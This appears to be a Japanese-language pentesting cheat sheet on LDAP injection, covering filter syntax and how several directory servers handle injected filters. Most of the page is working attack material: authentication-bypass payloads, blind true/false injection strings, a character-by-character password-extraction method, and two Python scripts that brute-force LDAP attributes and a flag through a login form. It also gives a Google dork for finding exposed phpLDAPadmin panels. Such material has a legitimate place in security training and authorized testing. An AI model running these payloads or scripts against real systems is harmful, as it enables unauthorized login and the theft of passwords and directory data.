7.1 KiB
LDAPインジェクション
{{#include ../banners/hacktricks-training.md}}
LDAPインジェクション
LDAP
LDAPについて知りたい場合は、以下のページにアクセスしてください:
{{#ref}} ../network-services-pentesting/pentesting-ldap.md {{#endref}}
LDAPインジェクションは、ユーザー入力からLDAPステートメントを構築するウェブアプリケーションを対象とした攻撃です。アプリケーションが入力を適切にサニタイズしない場合に発生し、攻撃者がローカルプロキシを通じてLDAPステートメントを操作できるようになり、無許可のアクセスやデータ操作につながる可能性があります。
{{#file}} EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf {{#endfile}}
フィルター = ( filtercomp )
フィルターコンポ = and / or / not / item
And = & filterlist
Or = |filterlist
Not = ! filter
フィルターリスト = 1*filter
アイテム= simple / present / substring
シンプル = attr filtertype assertionvalue
フィルタータイプ = '=' / '~=' / '>=' / '<='
プレゼント = attr = *
サブストリング = attr ”=” [initial] * [final]
初期 = assertionvalue
最終 = assertionvalue
(&) = 絶対TRUE
(|) = 絶対FALSE
例えば:
(&(!(objectClass=Impresoras))(uid=s*))
(&(objectClass=user)(uid=*))
データベースにアクセスでき、これにはさまざまなタイプの情報が含まれる可能性があります。
OpenLDAP: 2つのフィルターが到着した場合、最初のフィルターのみを実行します。
ADAMまたはMicrosoft LDS: 2つのフィルターがあるとエラーが発生します。
SunOne Directory Server 5.0: 両方のフィルターを実行します。
正しい構文でフィルターを送信することが非常に重要です。さもなければエラーが発生します。フィルターは1つだけ送信する方が良いです。
フィルターは次のように始まる必要があります: & または |
例: (&(directory=val1)(folder=public))
(&(objectClass=VALUE1)(type=Epson*))
VALUE1 = *)(ObjectClass=*))(&(objectClass=void
次に: (&(objectClass=*)(ObjectClass=*)) が最初のフィルター(実行されるもの)になります。
ログインバイパス
LDAPは、パスワードを保存するためのいくつかの形式をサポートしています: clear, md5, smd5, sh1, sha, crypt。したがって、パスワードに何を挿入しても、ハッシュ化される可能性があります。
user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi
user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))
user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))
user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))
user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed
user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error
username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
username=*
password=*)(&
--> (&(user=*)(password=*)(&))
username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))
リスト
ブラインド LDAP インジェクション
False または True の応答を強制して、データが返されるかどうかを確認し、可能なブラインド LDAP インジェクションを確認できます:
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
データのダンプ
ascii文字、数字、記号を繰り返し処理できます:
(&(sn=administrator)(password=*)) : OK
(&(sn=administrator)(password=A*)) : KO
(&(sn=administrator)(password=B*)) : KO
...
(&(sn=administrator)(password=M*)) : OK
(&(sn=administrator)(password=MA*)) : KO
(&(sn=administrator)(password=MB*)) : KO
...
スクリプト
有効なLDAPフィールドを発見する
LDAPオブジェクトはデフォルトでいくつかの属性を含んでおり、それを使って情報を保存することができます。それらすべてをブルートフォースして情報を抽出することを試みることができます。デフォルトのLDAP属性のリストはこちらで見つけることができます。
#!/usr/bin/python3
import requests
import string
from time import sleep
import sys
proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
特別なブラインドLDAPインジェクション("*"なし)
#!/usr/bin/python3
import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
Google Dorks
intitle:"phpLDAPadmin" inurl:cmd.php
さらなるペイロード
{{#ref}} https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection {{#endref}}
{{#include ../banners/hacktricks-training.md}}